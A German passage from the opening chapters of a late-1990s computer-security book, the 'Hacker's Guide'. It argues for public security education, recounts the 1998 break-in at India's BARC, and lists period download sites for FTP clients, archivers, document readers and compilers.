einem ernsten Sicherheitsfehler in Microsoft Word und einem ebensolchen in NCSA HTTPD, einem
beliebten Web-Server-Paket. Der ernste Fehler in HTTPD würde eine Gefahr für Hundertausende Server
(und damit Millionen von Accounts) darstellen. Aufgrund der Größe des Internet und der
Dienstleistungen, die dort heute angeboten werden, sind Fehler innerhalb seiner Sicherheitsstruktur von
internationaler Bedeutung.
Wann immer also ein Fehler innerhalb Sendmail, FTP, Gopher, HTTP oder anderen unentbehrlichen
Elementen des Internet entdeckt wird, entwickeln Programmierer Patches (Flikken für Source-Code oder
ganze Binärdateien), um das Problem vorübergehend zu beheben. Diese Patches werden zusammen mit
detaillierten Hinweisen an die ganze Welt verteilt. Dies führt uns zu den Herstellerreaktionen.
Herstellerreaktionen
Softwarehersteller haben von jeher schnell reagiert, aber dies sollte Ihnen keinen falschen Eindruck in
bezug auf ihre Sicherheit geben. Softwarehersteller wollen ihre Software verkaufen. Für sie hat es nichts
Faszinierendes, wenn jemand eine Lücke in ihrem System entdeckt. Schließlich bedeutet eine
Sicherheitslücke Einbußen an Gewinn und Prestige. Dementsprechend schnell reagieren Hersteller mit
beruhigenden Aussagen, um die Anwender zu beschwichtigen. Es kann aber manchmal sehr lange
dauern, bis der Fehler tatsächlich behoben wird.
Die Gründe dafür können vielfältig sein, und oft trägt der Hersteller keine Schuld. Manchmal sind
sofortige Fehlerbehebungen nicht möglich, z.B. in folgenden Fällen:
Wenn das betreffende Programm Teil des Betriebssystems ist
Wenn die Applikation weit verbreitet oder Standard ist
Wenn die Applikation Software eines Drittanbieters ist, der unzureichenden Support bietet, nicht
mehr im Geschäft oder auf andere Weise nicht erreichbar ist
In diesen Fällen kann ein Patch (oder eine andere Lösung) kurzfristige Hilfe bieten. Damit aber das
System effektiv arbeiten kann, müssen alle Anwender wissen, daß dieser Patch zur Verfügung steht. Man
sollte annehmen, daß es Aufgabe des Herstellers ist, die Öffentlichkeit darüber zu informieren.
Fairerweise muß man sagen, daß die Hersteller solche Patches an Sicherheitsgruppen und Mailing-Listen
weitergeben. Aber sie gehen oft nicht den zusätzlichen Schritt, die Allgemeinheit zu informieren, weil
sich das in vielen Fällen nicht bezahlt macht.
Auch dieser Punkt hängt wieder von Ihrem Wissensstand ab. Anwender, deren Wissen über
Netzwerk-Utilities, Sicherheitslücken und Patches auf dem neuesten Stand ist, haben nichts zu
befürchten. Anwender, die nicht über dieses Wissen verfügen, werden oft zu unfreiwilligen Opfern. Das
Warum ich dieses Buch geschrieben habe
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ist der wichtigste Grund, warum ich dieses Buch geschrieben habe. Mit einem Wort: Schulung im
Bereich Sicherheit ist die beste Sicherheitsmaßnahme.
1.3 Warum Schulung im Bereich Sicherheit wichtig
ist
Die Sicherheitsbranche hat immer versucht, Informationen zum Thema Sicherheit vom ganz normalen
Anwender fernzuhalten. Deshalb ist die Position eines Sicherheitsspezialisten in der Computer-Welt mit
viel Prestige verbunden. Sicherheitsspezialisten werden als Hohepriester mit geheimnisvollem Wissen
verehrt, das sich normale Menschen niemals aneignen könnten. Es gab einmal eine Zeit, in der dieser
Ansatz einen Wert hatte. Schließlich sollten Anwender nicht mehr als ein Basiswissen nötig haben. Nur
haben die normalen Anwender heutzutage dieses Basiswissen erreicht.
Heute brauchen wir alle zumindest etwas Schulung im Bereich Sicherheit. Ich hoffe, daß dieses Buch,
das sowohl ein Handbuch für Hacker als auch ein Nachschlagewerk zum Thema Sicherheit im Internet
ist, die Dinge in den Vordergrund zieht, die diskutiert werden müssen. Darüber hinaus habe ich dieses
Buch geschrieben, um das Bewußtsein für das Thema Sicherheit in der Öffentlichkeit zu erhöhen.
Ob Sie wirklich betroffen sind, hängt von Ihrer Lebenssituation ab. Sind Sie Händler, ist die Antwort
einfach: Um im Internet Handel betreiben zu können, müssen Sie für einen sicheren Datenverkehr
sorgen. Niemand wird Ihre Dienste im Internet in Anspruch nehmen, wenn er sich nicht sicher fühlt. Das
bringt uns zur Sicht des Verbrauchers. Wenn Hacker es schaffen, sensible Finanzdaten zu erlangen,
warum sollte man dann irgend etwas über das Internet kaufen? Natürlich gibt es zwischen dem Händler
und dem Käufer noch jemanden, der sich um die Sicherheit der Daten sorgt: Den Softwarehersteller, der
das Werkzeug zur Vereinfachung dieses Handels liefert. Diese drei Beteiligten (und ihre Gründe für ihr
Streben nach Sicherheit) können wir gut verstehen. Aber es gibt auch noch einige nicht so offensichtliche
Gründe für mehr Sicherheit.
Die Privatsphäre ist ein Punkt. Das Internet stellt den ersten faßbaren Beweis dafür dar, daß eine
»Orwellsche Gesellschaft« tatsächlich existieren könnte. Jeder Anwender sollte sich bewußt sein, daß
nichtverschlüsselte Kommunikation über das Internet völlig unsicher ist. Ebenso sollte sich jeder
Anwender bewußt sein, daß Behörden - nicht Hacker - die größte Bedrohung darstellen. Obwohl das
Internet eine wundervolle Quelle sowohl für Recherchen als auch für Unterhaltung ist, ist es nicht Ihr
Freund (zumindest dann nicht, wenn Sie irgend etwas zu verbergen haben oder auch nur Wert auf Ihre
Privatsphäre legen).
Und schließlich gibt es noch weitere Gründe, Schulungen im Bereich Sicherheit zu fördern. Im folgenden
stelle ich diese kurz dar.
1.3.1 Die Wirtschaft
Denken Sie im Moment nicht an dramatische Szenarien wie Wirtschaftsspionage. Das Thema ist zwar
ein anregender Diskussionspunkt, aber ein derartiger Vorfall kommt nur selten vor (selten zumindest in
Proportion zu anderen Problemen, die mit Datensicherheit zu tun haben). Statt dessen möchte ich mich
auf ein sehr reales Problem konzentrieren: Kosten.
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Die durchschnittliche Datenbank für Unternehmen in der Wirtschaft wird mit proprietärer Software
erstellt. Lizenzgebühren für große Datenbank-Pakete können sich auf mehrere zehntausend Mark
belaufen. Die Festkosten für diese Datenbank beinhalten Programmierung, Wartung und
Upgrade-Gebühren. Kurz gesagt, die Entwicklung und ständige Benutzung einer großen
Unternehmensdatenbank ist teuer und arbeitsaufwendig.
Wenn ein Unternehmen eine solche Datenbank nur intern benutzt, ist Sicherheit ein eher unwichtiger
Aspekt. Natürlich muß ein Administrator zumindest ein Basiswissen über Netzwerk-Sicherheit besitzen,
um unerlaubte Zugriffe von angehenden Hackern aus der einen oder anderen Abteilung zu verhindern.
Aber die Zahl der möglichen Täter ist limitiert und der Zugang ist normalerweise auf einige wenige,
wohlbekannte Protokolle beschränkt.
Nehmen Sie jetzt die gleiche Datenbank und verbinden Sie sie mit dem Internet. Das Bild wendet sich
drastisch. Zunächst ist die Anzahl der potentiellen Täter unbekannt und unendlich groß. Ein Angriff
könnte jederzeit von jedem beliebigen Ort vorgenommen werden. Außerdem ist der Zugang unter
Umständen nicht länger auf ein oder zwei Protokolle limitiert.
Die sehr simple Aufgabe, diese Datenbank mit dem Internet zu verbinden, öffnet viele Türen für einen
möglichen Angriff. Zum Beispiel könnte der Zugang zu der Datenbank den Gebrauch von einer oder
mehreren Sprachen verlangen, um die Daten von der Datenbank auf die HTML-Seite zu bekommen. In
einem Fall konnte ich einen Prozeß beobachten, der aus sechs Teilschritten bestand. Nach Betätigen des
Submit-Buttons wurde eine ganze Reihe von Operationen durchgeführt:
1. Die veränderlichen Suchbegriffe, die der Anwender übermittelte, wurden herausgefiltert und mittels
eines Perl-Scriptes schrittweise analysiert.
2. Das Perl-Script übermittelte diese Variablen an ein Zwischenprogramm, das eigens dazu entwickelt
wurde, mit einem proprietären Datenbank-Paket zu interagieren.
3. Das proprietäre Datenbank-Paket gab das Resultat zurück an ein Perl-Script, das die Daten in ein
HTML-Dokument umformatierte.
Jeder, der im Bereich Sicherheit im Internet arbeitet, kann sehen, daß dieses Szenario eine Katastrophe
geradezu einlädt. Jede Phase der Operation stellt ein potentielles Sicherheitsloch dar. Genau deshalb ist
die Entwicklung von Sicherheitstechniken für Datenbanken jetzt in vielen Kreisen ein heißes Thema.
Verwaltungsangestellte sind manchmal schnell dabei, wenn es darum geht, die Finanzierung für
Sicherheit in einem Unternehmen abzulehnen (oder einzuschränken). Sie sehen die Kosten dafür vor
allem deshalb als unnötig an, weil sie das schreckliche Gesicht des Risikos nicht verstehen. Sehen wir
der Realität ins Auge: Ein oder mehrere begabte Hacker könnten - innerhalb von Minuten oder Stunden -
mehrere Jahre der Datenerfassung zunichte machen.
Es muß ein akzeptables Sicherheitsniveau erreicht werden, bevor Geschäfte im Internet zuverlässig
durchgeführt werden können. Schulung ist für Unternehmen ein relativ günstiger Weg, um zumindest ein
minimales Sicherheitsniveau zu erreichen. Die Kosten, die den Unternehmen jetzt dafür entstehen,
machen sich später vielleicht vielfach bezahlt.
Warum ich dieses Buch geschrieben habe
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1.3.2 Behörden
Volksmund und gesunder Menschenverstand sagen uns, daß Behörden über mehr und spezielleres
Wissen im Bereich Computer-Sicherheit verfügen. Leider ist dies schlicht nicht wahr (mit der
denkwürdigen Ausnahme der amerikanischen Nationalen Sicherheitsbehörde NSA). Wie Sie sehen
werden, sind auch Behörden in ihrem Trachten nach Sicherheit vor Mißerfolgen nicht gefeit.
In den folgenden Kapiteln prüfe ich verschiedene Berichte, die zeigen, wie schlecht die
Sicherheitsmaßnahmen sind, die heutzutage für Server der US-Regierung getroffen werden. Die
Sensitivität der Daten, zu denen Hacker Zugang bekommen haben, ist erstaunlich.
Diese Rechner der Regierung (und der dazugehörenden Behörden und Institutionen) speichern einige der
persönlichsten Daten über das amerikanische Volk. Noch wichtiger: Diese Institutionen sammeln
sensible Daten in bezug auf die nationale Sicherheit. Diese Informationen zumindest sollten geschützt
werden.
Doch es ist nicht nur die US-Regierung, die ihre Netzwerke besser schützen muß. Der Rest der Welt ist
ebenfalls gefährdet. Ein gutes Beispiel hierfür ist der jüngste Zwischenfall in Indien. Auf dem Höhepunkt
der Spannungen zwischen Indien und Pakistan (beide Staaten erklärten sich lautstark zu Atommächten)
passierte eine denkwürdige Sache. Cracker - einige erst 15 Jahre alt - loggten sich in eine
Kernforschungseinrichtung in Indien ein und fingen private E-Mails zwischen Kernphysikern ab. Mit
diesem Angriff noch nicht zufrieden, gingen die Jugendlichen noch einen Schritt weiter. Am 8. Juni 1998
berichtete Bill Pietrucha von Newsbytes folgendes:
Newsbytes hat erfahren, daß eine Gruppe jugendlicher Cracker, die in Indiens Bhabba
Atomic Research Center (BARC) einbrachen, nun vorhaben, das gleiche in Pakistan zu tun.
Die Gruppe, die sich MilWorm nennt, besteht aus etwa einem halben Dutzend Teenagern
aus aller Welt im Alter von 15 bis 18 Jahren. Unter den Teenagern ist ein früheres Mitglied
der Enforcer Hacker, die in diesem Jahr bereits in Netzwerke des US-Militärs und der
NASA einbrachen. Der Einbruch in das Kernforschungszentrum wurde Newsbytes heute von
BARC-Offiziellen bestätigt.
Außergewöhnlich, oder? Das ist nicht das Ende der Geschichte. Nur 24 Stunden später drangen die
gleichen Teenager in eine nukleare Einrichtung in der Türkei ein.
Viele Leute amüsierten sich über die Eskapaden der Teenager, aber es gibt auch eine Kehrseite ihrer
Aktivitäten. Einer der jungen Cracker scherzte, daß es doch »witzig« gewesen wäre, eine gefälschte
E-Mail-Nachricht von Indien an Pakistan zu senden, mit einer Warnung über den geplanten nuklearen
Erstschlag von seiten Indiens. Zwar hätte der Empfänger einer derartigen Nachricht nichts unternommen,
bevor sie nicht von anderen Quellen bestätigt worden wäre, aber das Fazit aus dieser Geschichte ist klar:
Auf der Schwelle zum 21. Jahrhundert ist der Informationskrieg mehr als ein amüsantes
Diskussionsthema - er ist Realität.
Haben Sie schon Angst? Wenn ja, dann ist es an der Zeit, Ihre Furcht ein bißchen zu lindern und Ihnen
eine Gute-Nacht-Geschichte zu erzählen. Ich nenne sie »Die Einsamkeit des Langstrecken-Surfers«.
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1.3.3 Die Einsamkeit des Langstrecken-Surfers
Das Datenautobahnnetz ist ein gefährlicher Ort. Nun gut, die Hauptverkehrsader ist nicht so schlimm.
T-Online, America Online, Microsoft Network - dies sind saubere Durchgangsstraßen. Sie sind
wundervoll gestaltet, mit farbenfrohen Zeichen und hilfreichen Hinweisen, die einem stets sagen, wo
man hingehen und was man tun kann. Wenn Sie aber eine falsche Ausfahrt erwischen, treffen Sie auf
eine ganz andere Straße. Eine, die mit ausgebrannten Fahrzeugen, umgekippten Mülltonnen und Graffiti
an den Wänden zugepflastert ist. Sie sehen den Rauch von Brandstellen auf beiden Seiten der Straße.
Wenn Sie genau lauschen, können Sie das Echo einer weit entfernten U-Bahn hören, gemischt mit
Lauten einer fremden, exotischen Musik.
Sie halten an und lassen das Fenster herunter. Ein verrücktaussehender Mann stolpert aus einer Gasse,
seine zerfetzten Kleidungsstücke wehen im Wind. Er steuert auf die Seite Ihres Fahrzeugs zu, seine
abgetragenen Schuhe knirschen auf kaputtem Glas und Beton. Er murmelt etwas, als er sich Ihrem
Fenster nähert. Er lehnt sich zu Ihnen hinein und Sie können seinen beißenden Atem riechen. Er lächelt -
zwei Vorderzähne fehlen - und sagt: »Hey, Kumpel, hast Du mal Feuer?« Sie greifen nach Ihrem
Feuerzeug, er greift nach einem Messer. Als er Ihre Kehle aufschlitzt, treten seine Komplizen aus dem
Schatten heraus. Sie fallen über Ihr Auto her, während Sie in die Ohnmacht gleiten. Wieder ein Surfer,
der ins Gras beißt. Andere wissen alles besser. Er hätte auf der Hauptstraße bleiben sollen. Haben die
Leute in der Kneipe es ihm etwa nicht gesagt? Pechvogel!
Dieses kleine Stück ist eine Übertreibung; eine Parodie auf die Greuelmärchen, die oft ins Internet
gesetzt werden. Meistens stecken Anbieter dahinter, die aus Ihrer Angst und Ihrem limitierten Wissen
über das Internet einen Nutzen ziehen wollen. Diesen Geschichten folgen meistens Hinweise auf dieses
oder jenes Produkt. Schützen Sie Ihr Unternehmen! Schützen Sie sich jetzt! Dies ist ein Beispiel für ein
Phänomen, das ich als Internet-Voodoo bezeichne. Die Anhänger dieser geheimen Kunst sehen den
durchschnittlichen Anwender als einen eher leichtgläubigen Zeitgenossen. Eine Kuh, die sich leicht
melken läßt.
Wenn dieses Buch schon sonst nichts vollbringt, hoffe ich, daß es wenigstens einen kleinen Teil dazu
beiträgt, Internet-Voodoo auszurotten. Es bietet genug Wissen, um den Anwender (oder neuen
Systemadministrator) vor skrupellosen Geschäftemachern im Internet zu schützen. Solche
Geschäftemacher geben dem Bereich Sicherheit im Internet einen schlechten Namen.
Zusammenfassend sind dies die Probleme, denen Sie begegnen:
Softwarehersteller, die behaupten, ihr Code sei sicher, auch wenn er es nicht ist
Anwender, die nichts über Netzwerk-Sicherheit wissen
Schlecht integrierte Sicherheitsprogramme
Hacker und Cracker, die täglich Sicherheitssysteme knacken
Geschäftemacher, die Nutzen aus Ihrer Angst ziehen und Ihnen Produkte aufdrängen wollen
Es gibt nur ein Rezept gegen diese Probleme: Sie müssen sich schulen. Deshalb habe ich dieses Buch
geschrieben - um Ihnen Wissen zu vermitteln und Ihnen somit viele Stunden Arbeit zu ersparen.
Aber dieses Buch kann Ihnen nicht alles über Netzwerk-Sicherheit beibringen. Es ist in der Tat nur ein
Anfangspunkt. Ihre Reise könnte mit diesen Seiten beginnen und irgendwo am anderen Ende der Welt
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enden, weil jedes Netzwerk einzigartig ist. Je nach Architektur Ihres Netzwerks werden Sie ganz
spezielle Bedürfnisse haben. Je heterogener Ihr Netzwerk ist, um so komplexer werden die einzelnen
Schritte sein, die zu seiner Sicherheit getroffen werden müssen. Wenn überhaupt, ist dieses Buch als eine
Art Wegweiser gedacht.
Ich hoffe, daß es Ihnen gut dient.
1.4 Zusammenfassung
Ich habe dieses Buch aus folgenden Gründen geschrieben:
Um unerfahrenen Anwendern eine umfassende Quelle zum Thema Sicherheit zur Verfügung zu
stellen
Um Systemadministratoren ein Nachschlagewerk zur Verfügung zu stellen
Um das Bewußtsein für das Thema Sicherheit im Internet in der Öffentlichkeit zu erhöhen
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2
Zum Aufbau des Buches
Dieses Buch ist völlig anders strukturiert als gewöhnliche Computerbücher. Es unterscheidet sich in der Tat so sehr von
anderen Büchern, daß es verschiedene Ansätze gibt, mit ihm zu arbeiten. Dieses Kapitel stellt diese Ansätze kurz vor
und zeigt Ihnen, wie Sie am meisten vom Hacker's Guide profitieren können.
2.1 Die allgemeine Struktur dieses Buches
Der Hacker's Guide bietet Ihnen weit über 1.000 URLs oder Internet-Adressen. Über diese URLs erhalten Sie
Informationen zum Thema Sicherheit, u.a.:
Kostenlose und kommerzielle Sicherheitstools
Allgemeine und technische Berichte
Sicherheitshinweise
Source-Codes für Exploits
Sicherheitspatches
Ich schrieb den Hacker's Guide auf diese Weise, um Ihnen ergänzende Informationen zur Verfügung zu stellen. Sie
bekommen mehr als 800 Seiten meiner Rhetorik und einen Wegweiser zu Online-Ressourcen zum Thema Sicherheit im
Internet.
Die Links führen zu Sites im Internet, die ständig aktualisierte Informationen über Internet- Sicherheit zur Verfügung
stellen. Idealerweise werden Sie nach Lektüre dieses Buches nie wieder ein Buch über Sicherheit kaufen müssen. Statt
dessen werden Sie wissen, wo Sie aktuelle Sicherheitsinformationen online finden.
Aus diesen Gründen hat der Hacker's Guide viele Vorteile gegenüber seinen Konkurrenzwerken - er ist ein Buch, das
Ihnen das nötige Handwerkszeug zur Verfügung stellt. Natürlich können Sie den Hacker's Guide von der ersten bis zur
letzten Seite lesen und somit ein solides Basiswissen über Sicherheit im Internet erlangen. Der tatsächliche Sinn dieses
Buches ist es aber, Sie mit Internet-Sicherheitswerkzeugen zu versorgen und Ihnen zu zeigen, wie Sie diese einsetzen.
Leider hat dieser Ansatz auch Nachteile. So brauchen Sie z.B. einige Tools, um den größtmöglichen Nutzen aus diesem
Buch zu ziehen:
Einen Web-Browser
Einen FTP-Client
Utilities zur Archivierung (Komprimierung) von Dateien
Einen Document-Reader
In den nächsten Abschnitten finden Sie Internet-Adressen, über die Sie frei erhältliche Tools für jede der oben
genannten Kategorien erhalten. Danach stelle ich Ihnen die verschiedenen Ansätze zur Nutzung dieses Buches vor.
Zum Aufbau des Buches
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2.1.1 FTP-Clients
Zwar können Sie die meisten in diesem Buch erwähnten Dateien auch über einen Web- Browser herunterladen,
trotzdem kann es sich als klug erweisen, einen FTP-Client zur Verfügung zu haben. Tabelle 2.1 beinhaltet
Internet-Adressen für FTP-Clients für die meisten Betriebssysteme.
Tabelle 2.1: FTP-Clients für verschiedene Betriebssysteme
Client Betriebssystem URL
EmTec FTP OS/2 http://www.musthave.com/files/eftp502.zip
Fetch Macintosh http://www.dartmouth.edu/pages/softdev/fetch.html
FTPExplorer Windows http://www.ftpx.com/
FtpTool Linux http://rufus.w3.org/linux/RPM/openlinux/1.3/col/install/RPMS/ftptool-4.6-2.i368.html
Gibbon FTP OS/2 http://www.gibbon.com/catalog/catalog.html
Kftp BeOS http://www.efrei.fr/~pontier/projetbe/index.html
LLNLXDIR Linux http://bob.usuf2.usuhs.mil/aftp/pub/linux.html
NetFinder Macintosh http://www.ozemail.com.au/~pli/netfinder/
WS_FTP Windows http://www.ipswitch.com/
2.1.2 Archivierte Dateien
Wenn Sie Glück haben, haben Sie eine 1.5-Mbps-Verbindung zum Internet. Leider haben die meisten Anwender dies
nicht, sondern surfen mit einer 28.8- oder 33.6-Modem-Verbindung. Und mit dieser Übertragungsrate ist das Internet
geradezu erschütternd langsam. Files zum Herunterladen werden meistens komprimiert, d.h. verkleinert. Diese
komprimierten Files werden Archive oder archivierte Dateien genannt.
Archive werden durch Komprimierungspakete erzeugt. Leider gibt es kein Standard-Komprimierungsformat. Daher
kann es Schwierigkeiten geben, wenn mit einem Mac komprimierte Dateien auf einem IBM-kompatiblen Gerät
dekomprimiert werden sollen. Da viele der Online-Referenzen in diesem Buch archivierte Dateien enthalten, brauchen
Sie eine Applikation, die alle Archiv-Formate dekomprimieren kann. Tabelle 2.2 stellt Ihnen Internet-Adressen für
verschiedene Archivierungstools zur Verfügung.
Tabelle 2.2: Die beliebtesten Archivierungs-Utilities
Utility Plattform Beschreibung und URL
Winzip Windows Winzip dekomprimiert die folgenden Archiv-Formate: ARC, ARJ, BinHex, gzip, LZH,
MIME, TAR, Unix compress und Unencode. Winzip gilt als Industriestandard für
Windows-Plattformen. Es ist erhältlich unter: http://www.winzip.com/.
Zip98Plus Windows Zip98Plus dekomprimiert die folgenden Archiv-Formate: ARC, ARJ, ARJSFX, CAB, GZIP,
LHA, LHASFX, RAR, TAR, ZIP, ZIPSFX und ZOO. Zip98Plus bekommen Sie unter:
http://www.zip98.base.org/zip98.exe.
StuffIt Macintosh StuffIt dekomprimiert die folgenden Archiv-Formate: ARC, ARJ, BinHex, gzip, Macbinary,
StuffIt, Uuencoded und ZIP. StuffIt ist erhältlich unter:
http://www.aladdinsys.com/expander/index.html.
Zum Aufbau des Buches
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2.1.3 Formate für Text-Dateien
Als ich die Informationen für dieses Buch zusammentrug, bemühte ich mich, möglichst nur solche Websites zu finden,
die HTML-Dokumente anbieten. Dies war jedoch nicht immer möglich. Glücklicherweise stellen die meisten Autoren
im Web ihre Dokumente heute im PDF-Format zur Verfügung, ein neues architekturneutrales Dokumentformat von
Adobe. Alles, was Sie brauchen, um ein PDF-Dokument lesen zu können, ist ein PDF-Reader für Ihre Plattform.
Hinweis:
PDF steht für Portable Document Format. Nach jahrelangen Forschungsarbeiten entwickelte Adobe
PDF und reagierte damit auf den Bedarf für eine universelle Satztechnik. PostScript war der Vorgänger
von PDF und sehr mächtig. Einige PostScript-Dokumente brauchen jedoch einen PostScript- Drucker.
PDF behebt dieses Problem.
Sie werden sich sicher fragen, warum nicht alle allgemeinen und technischen Berichte in ASCII geschrieben werden.
ASCII ist immerhin allgemein anerkannter Standard und wird auf jeder Plattform problemlos gelesen. Der Grund ist
folgender: In ASCII-Text-Dokumente können keine Diagramme, Skizzen oder Fotos eingefügt werden. Da viele
technische Berichte aber Diagramme beinhalten, eignet ASCII sich schlecht für diese Aufgabe.
Sie werden sich sicher auch fragen, warum all diese Berichte nicht in HTML geschrieben werden (besonders, weil jeder
im Internet HTML lesen kann). Es gibt mehrere Gründe. Erstens haben zwar die HTML-Spezifikationen in den letzten
Jahren große Fortschritte gemacht, aber die meisten HTML-Pakete halten sich nicht strikt an diese Standards und
HTML-Autoren müssen diese nicht zwingerderweise einhalten. HTML sieht nicht auf allen Plattformen, ja nicht einmal
in allen Browsern gleich aus. Ein anderer wichtiger Grund ist, daß das Schreiben in HTML Kenntnisse von
HTML-Befehlen voraussetzt. Die Autoren technischer Berichte haben in der Regel nicht die Zeit, sich diese Kenntnisse
anzueignen. Natürlich existieren WYSIWYG(What you see is what you get)-HTML-Editoren, aber sich in die
Benutzung derselben einzuarbeiten, ist zeitaufwendiger, als ein Dokument in der bevorzugten Textverarbeitung zu
schreiben. (Einige Fortschritte wurden mit Export-Filtern gemacht. PageMaker und Microsoft Word z.B. ermöglichen
den Export von Dokumenten nach HTML. Aber diese Filter sind nicht perfekt und es gibt keine Garantie, daß das
Dokument genauso herauskommt, wie es erstellt wurde.)
Sie müssen darauf vorbereitet sein, verschiedene Dateiformate zu verarbeiten. Das ist leichter, als es klingt. Die meisten
kommerziellen Textverarbeitungshersteller sind sich dieser Situation bewußt. Sie stellen daher Reader für die
Öffentlichkeit zur Verfügung. Reader sind Programme, die ein Dokument lesen können, das in diesem oder jenem
Format geschrieben wurde. (Zum Beispiel produziert Adobe einen PDF-Reader und Microsoft einen Word-Reader.)
Reader sind im allgemeinen frei erhältlich. Tabelle 2.3 stellt eine Liste von Internet- Adressen für
Textverarbeitungs-Reader zur Verfügung.
Tabelle 2.3: Reader für die beliebtesten Textverarbeitungsformate
Reader Beschreibung und URL
Adobe Acrobat Der Adobe-Acrobat-Reader entschlüsselt PDF-Dateien. Der Acrobat-Reader steht für DOS,
Windows, Windows 95, Windows NT, Unix, Macintosh und OS/2 zur Verfügung. Erhältlich ist er
unter: http://www.adobe.com/supportservice/custsupport/download.html.
GSView GSView ist ein Utility, das PostScript-Dateien (*.PS) liest. GSView gibt es für Linux, Unix, OS/2,
Windows, Windows 3.11, Windows 95 und Windows NT. Sie bekommen es unter
http://www.cs.wisc.edu/~ghost/gsview/index.html.
Word Viewer Word Viewer liest Dateien, die mit Microsoft Word formatiert wurden (*.DOC). Word Viewer gibt
es für Windows (16 Bit) und Windows 95/NT. Erhältlich sind beide Versionen unter:
http://www.asia.microsoft.com/word/internet/viewer/viewer97/default.htm.
Zum Aufbau des Buches
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PowerPoint
Viewer Der PowerPoint Viewer ermöglicht das Ansehen von Präsentationen, die mit Microsoft PowerPoint
erstellt wurden (*.PPT). PowerPoint Viewer für Windows 95 gibt es unter
http://www.gallaudet.edu/~standard/presentation/pptvw32.exe.
2.1.4 Programmiersprachen
Viele Links in diesem Buch führen Sie zu Source-Codes. Ein Source-Code ist der rohe Programmier-Code, der -
kompiliert oder interpretiert - ein funktionierendes Computer-Programm ergibt. Um Nutzen aus Source-Codes zu
ziehen, brauchen Sie die entsprechenden Compiler oder Interpreter. Diese Tools und die Adressen, unter denen Sie sie
bekommen, sind in Tabelle 2.4 aufgelistet.
Tabelle 2.4: Compiler und Interpreter
Tool Beschreibung und URL
C und C++ C und C++ sind populäre Programmiersprachen, die in der Netzwerk-Programmierung weit verbreitet
sind. Viele der Programme, die über die Links in diesem Buch zu haben sind, sind in C oder C++
geschrieben. Sie können einen Freeware C/C++- Compiler über die Free Software Foundation erhalten.
Es gibt eine Version für Unix unter http://www.gnu.org/software/gcc/ gcc.html sowie eine Version für
DOS unter http://www.delorie.com/djgpp/ .
Perl Die Practical Extraction and Report Language (Perl) ist ebenfalls eine populäre Programmiersprache, die
in der Netzwerk- Programmierung weit verbreitet ist. Perl-Programme können auf einer Vielzahl von
Plattformen laufen, werden aber meistens für Unix, Macintosh und Windows NT geschrieben. Viele der
in diesem Buch erwähnten Programme benötigen einen Perl-Interpreter, damit sie korrekt laufen. Perl ist
in der Regel frei erhältlich unter: http://www.perl.com/latest.html.
Java Java ist eine mächtige Netzwerk-Programmiersprache von Sun Microsystems. Einige der Programme, die
in diesem Buch erwähnt werden, erfordern eine Java-Runtime-Umgebung, um korrekt zu laufen. Java ist
frei erhältlich unter: http:// www.javasoft.com/.
JavaScript JavaScript ist eine Programmiersprache, die in Netscapes Programmen Navigator und Communicator
eingebettet ist. JavaScript wird manchmal dazu benutzt, böswilligen Code (oder legitime
Sicherheitsapplikationen) zu erzeugen. Sie benötigen Netscapes Navigator oder Communicator, um
JavaScript- Scripts zu benutzen. Für private Zwecke sind beide Programme frei erhältlich unter:
http://home.netscape.com/.
VBScript VBScript ist eine Script-Sprache von Microsoft für die Manipulation von Web-Browser-Umgebungen.
VBScript und die dazugehörige Dokumentation sind frei erhältlich unter: http://
www.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm .
2.2 Ansätze für das Arbeiten mit diesem Buch
Nachdem Sie Ihre Tools gesammelt haben, ist der nächste Schritt, zu entscheiden, warum Sie dieses Buch lesen wollen.
Es gibt drei grundsätzliche Möglichkeiten:
Sie wollen Grundlagen zum Thema Internet-Sicherheit erwerben.
Sie wollen ein bestehendes Netzwerk sichern.
Sie wollen für eine Forschungsarbeit im Bereich Sicherheit recherchieren.
Jede Möglichkeit erfordert einen unterschiedlichen Ansatz. Schauen wir sie uns kurz an.
Zum Aufbau des Buches
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2.2.1 Erlernen der Grundlagen über Internet-Sicherheit
Wenn Sie den Hacker's Guide gekauft haben, um die Grundlagen über Internet-Sicherheit zu erlernen, können Sie sich
freuen. Das Buch eignet sich gut zu diesem Zweck. Um den größtmöglichen Nutzen zu ziehen, lesen Sie das Buch von
der ersten bis zur letzten Seite. Jedesmal, wenn Sie auf eine Online-Referenz treffen, machen Sie eine Lesepause und
laden Sie das entsprechende Dokument herunter. Nehmen Sie das Buch erst wieder zur Hand, wenn Sie das
heruntergeladene Papier gelesen haben.
Wenn Sie diesem Muster bis zum Ende des Buches folgen, werden Sie mit einem sehr starken Basiswissen über
Internet-Sicherheit ausgestattet sein. Ich würde Ihnen allerdings davon abraten, Source-Codes herunterzuladen. Wenn
Sie ganz neu auf dem Gebiet der Sicherheit im Internet sind, werden Sie höchstwahrscheinlich nicht einmal ein Zehntel
der in diesem Buch erwähnten Programme brauchen.
2.2.2 Sichern eines bestehenden Netzwerks
Wenn Sie den Hacker's Guide gekauft haben, um ein bestehendes Netzwerk zu sichern, werden Sie sicher viel Zeit
damit verbringen, die im Buch erwähnten Tools herunterzuladen. Um Ihnen ein bißchen Zeit zu ersparen, hier ein
kleiner Tip: Auf der CD-ROM werden Sie viele der erwähnten Tools entdecken.
2.2.3 Recherche für eine Forschungsarbeit im Bereich Sicherheit
Wenn Sie den Hacker's Guide gekauft haben, um Recherchen für eine Forschungsarbeit im Bereich Sicherheit zu
betreiben, werden Sie wieder anders vorgehen.
Nehmen wir zum Beispiel an, Sie arbeiten an der Entwicklung eines Auditing- oder Scanning-Tools für Unix. Natürlich
möchten Sie dafür alle im Kapitel über Unix erwähnten Source-Codes herunterladen. Darüber hinaus sollten Sie aber
auch alle erwähnten Berichte, Artikel und Dokumente studieren und werden damit bestens für Ihre Forschungen
ausgestattet sein.
2.3 Die Grenzen dieses Buches
Dieses Buch deckt weite Bereiche ab, stößt aber auch an Grenzen. Bevor ich diese Grenzen aufzähle, will ich eine
wichtige Bemerkung machen: Internet-Sicherheit ist ein komplexes Feld. Wenn Sie damit beauftragt sind, ein Netzwerk
zu sichern, machen Sie einen großen Fehler, wenn Sie sich nur auf dieses Buch verlassen. Es ist noch kein Buch
geschrieben worden, das die Erfahrung, die innere Stimme oder das Know-how eines guten Systemadministrators
ersetzen kann. Und es ist sehr wahrscheinlich, daß ein solches Buch niemals geschrieben wird. Da dies nun gesagt ist,
hier einige der Grenzen dieses Buches:
Aktualität
Ihr persönlicher Nutzen
2.3.1 Aktualität
